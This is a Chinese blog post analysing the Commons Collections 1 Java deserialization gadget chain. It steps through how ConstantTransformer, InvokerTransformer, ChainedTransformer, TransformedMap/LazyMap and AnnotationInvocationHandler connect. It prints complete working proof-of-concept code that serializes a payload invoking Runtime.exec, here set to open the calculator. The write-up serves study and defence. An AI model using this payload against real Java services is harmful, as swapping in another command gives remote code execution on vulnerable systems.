CommonsCollections1链分析

前言

之前的urldns链是反序列化利用链中比较简单的,在实战中还是需要能直接执行命令的链,本篇主要分析CC1这个链。

0x01 POC1执行

public class CommonsCollections1 { public static void main(String[] args) throws Exception { //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 outerMap.put("test","test"); //触发漏洞 // Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); // //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式 // onlyElement.setValue("foobar"); } }

image-20220303233410712

0x02 POC1分析

Transformer

在代码的最开始先是new了一个Transformer类型的数组,Transformer本身是一个接口,而new的这个数组是Transformer的实现类对对象:

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) };

image-20220304143701557

再分别来看数组里面的值:

ConstantTransformer

第一个值:new ConstantTransformer(Runtime.class)

image-20220304144649353

这个方法跟进去之后,看到这个类是实现了Transformer, Serializable接口,里面的ConstantTransformer方法是重写了有参构造,传入的参数就是Runtime.class,然后赋值给属性Object的变量,最终返回回来生成的实例化对象。

下面是断点调试的返回,返回了runtime的类

image-20220304155118070

InvokerTransformer

第二个值:new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

image-20220304150010358

image-20220304150020886

可以看到InvokerTransformer同样实现了Transformer, Serializable接口,并且重写的这个有参构造里面,有三个参数:

第一个是方法名,第二个是参数类型,第三个是参数的值。

  1. String iMethodName:要调用的方法名
  2. Class[] iParamTypes:传入方法的参数类型
  3. Object[] args:要传入的参数

后面一共初始化了三次,每次的参数值为:

第一次:

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

getMethod,null,getRuntime

image-20220304175826736

第二次:

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })

invoke,null,null

image-20220304180130655

第三次:

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})

exec,null,Calculator.app

image-20220304180206700

ChainedTransformer

Transformer transformerChain = new ChainedTransformer(transformers);

ChainedTransformer这个类将之前的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果再传入下一次的trandform方法中。

第一次执行,将runtime传入到了参数里面

image-20220307105539973

第二次传入Runtime.getRuntime()

image-20220307110759816

第三次将返回的实例化对象传入exec参数里面:

image-20220307111608784

这样通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

这样链子有了,怎么才能用呢?

TransformedMap

//创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

查看源码:

image-20220307112400224

可以看到TransformwdMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看下面的put方法,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,也就是说只要构造一个TransformedMap并且去修改value值,就能触发

image-20220307125621096

最终执行弹出计算器。

POC2分析

在上面是我们手动添加了put操作,但是在反序列化中我们需要找到一个类,直接或者间接的调用这种类似put的操作。

这个类就是AnnotationInvocationHandler,他重写了readObject方法:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { return; } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }

然后在yso项目中,作者使用的不是TransformedMap而是LazyMap,LazyMap中可以通过get方法调用transform:

image-20220307141950055

然后AnnotationInvocationHandler中的invoke方法可以调用LazyMap#get:

image-20220307135721323

这里注意调试该链需要用jdk小于8u71的版本,因为之后的版本AnnotationInvocationHandler#readObject方法被官方修改了。

下面为完整POC:

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { //构造runtime.exec("command") Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将数组作为参数生成ChainedTransformer对象 Transformer transformerChain = new ChainedTransformer(transformers); //构造LazyMap对象,将其属性factory设置为transformerChain Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); //反射获取AnnotationInvocationHandler的有参构造方法和class对象 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); //暴力反射 construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); }

这里最后采用了java动态代理机制,创建了动态代理map对象proxymap

动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。

最后传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口,从而达到命令执行。

总结

最终利用链为:

Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

参考

https://www.anquanke.com/post/id/248653

https://www.cnblogs.com/nice0e3/p/13779857.html

https://www.cnblogs.com/CoLo/p/15225390.html


__EOF__

本文作者N0r4h
本文链接https://www.cnblogs.com/N0r4h/p/15975781.html
关于博主:一个废物到自闭的人
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
posted @   N0r4h  阅读(80)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示